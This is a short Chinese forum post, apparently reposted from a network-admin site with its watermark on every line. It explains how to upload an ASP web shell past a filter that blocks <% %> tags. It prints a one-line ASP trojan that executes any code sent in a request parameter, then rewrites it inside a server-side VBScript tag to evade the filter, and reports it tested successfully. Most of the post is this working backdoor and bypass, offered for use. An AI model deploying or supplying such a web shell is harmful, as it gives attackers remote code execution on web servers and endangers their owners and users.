|
郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西, 中国网管论坛bbs.bitsCN.com
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传, 网管bitscn_com
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵! 网管u家u.bitscn@com
我们拿蓝屏最小的asp木马来看下: 中国网管论坛bbs.bitsCN.com
<%execute request("l")%> 中国网管论坛bbs.bitsCN.com
我们来把他的标签换下来: 网管u家u.bitsCN.com
<script language=VBScript runat=server>execute request("l")</Script> 网管bitscn_com
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说! 网管u家u.bitsCN.com
偶在xpsp2下测试成功! 网管u家u.bitsCN.com
从勇敢的风那里得来得灵感!^_^在此再次感谢! 网管u家u.bitsCN.com
|